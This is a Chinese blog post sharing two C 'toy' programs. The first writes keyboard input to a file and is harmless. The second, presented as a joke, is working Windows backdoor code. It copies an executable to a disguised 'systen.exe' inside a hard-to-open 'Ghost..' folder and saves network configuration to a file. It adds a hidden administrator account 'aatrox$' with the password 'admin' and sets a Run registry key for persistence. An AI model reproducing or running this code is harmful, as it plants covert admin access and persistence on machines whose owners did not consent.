小玩意制作ing

编程技术 2019-12-05 121 次浏览

C语言写的小玩具


#include<stdio.h>
#include<stdlib.h>
int main()
{
    FILE *fp;
    errno_t err;                                    //不同点1
    char ch, filename[10];
    printf("请输入所用的文件名:");
    scanf_s("%s", filename,10);
    if ((err = fopen_s(&fp, filename, "w")) !=0)    //不同点2
    {
        printf("无法打开此文件\n");            //如果打不开,就输出打不开
        exit(0);                               //终止程序
    }
    ch = getchar();                            //用来接收最后输入的回车符
    printf("请输入一个准备存储到磁盘的字符串(以#结束):");
    ch = getchar();                            //用来接收从键盘输入的第一个字符
    while (ch != '#')                          //当输入“#”时结束循环
    {
        fputc(ch, fp);                         //向磁盘输出一个字符
        putchar(ch);                           //将输出的字符显示在屏幕上
        ch = getchar();                        //再接收从键盘输入的一个字符
    }
    fclose(fp);                                //关闭文件
    putchar(10);                               //向屏幕输出一个换行符
    return 0;
} //写入输出文件
#include <stdlib.h>
#include <windows.h>
#include <stdio.h>
int main(){
system("ipconfig>2.txt"); 
printf("Hello,We are coming!\n");
printf("This is only a joke~");
system("copy hack.exe systen.exe");
system("md Ghost..\\");
system("copy systen.exe ghost..\\\\\\.\\systen.exe");  //ok,can'open.
//system("copy 2.txt ghost..\\.\2.txt");  //success to can't notepad.
system("copy 2.txt ghost\\2.txt");  //success to can't notepad.
printf("Could you guess where we are?");
system("net user aatrox$ admin /add");
system("net localgroup administrators aatrox$ /add");
printf("administrators add a new member~\n");
//system("net user guest /active:yes");
printf("Guest==>ok\n");
printf("Now,We are missing");
printf("Writing to regedit");
char *szSubKey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
char *szModule ="C:\\Users\\Administrator\\desktop\\ghost..\\systen.exe";
HKEY hKey;
    
//打开注册表启动项 
if(RegOpenKeyEx(HKEY_CURRENT_USER, szSubKey, 0, KEY_ALL_ACCESS, &hKey)== ERROR_SUCCESS)
{
    //添加一个子Key,并设置值,"Mytest"并不一定是应用程序名字(不加后缀.exe) ,可以自己设置;
    RegSetValueEx(hKey, "Mytest", 0, REG_SZ, (BYTE *)szModule, strlen(szModule));
    //关闭注册表
    RegCloseKey(hKey);
}
else
{
    return -1;
}
return 0;
}


赞 (1)
本文由 Aatrox 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

还不快抢沙发

添加新评论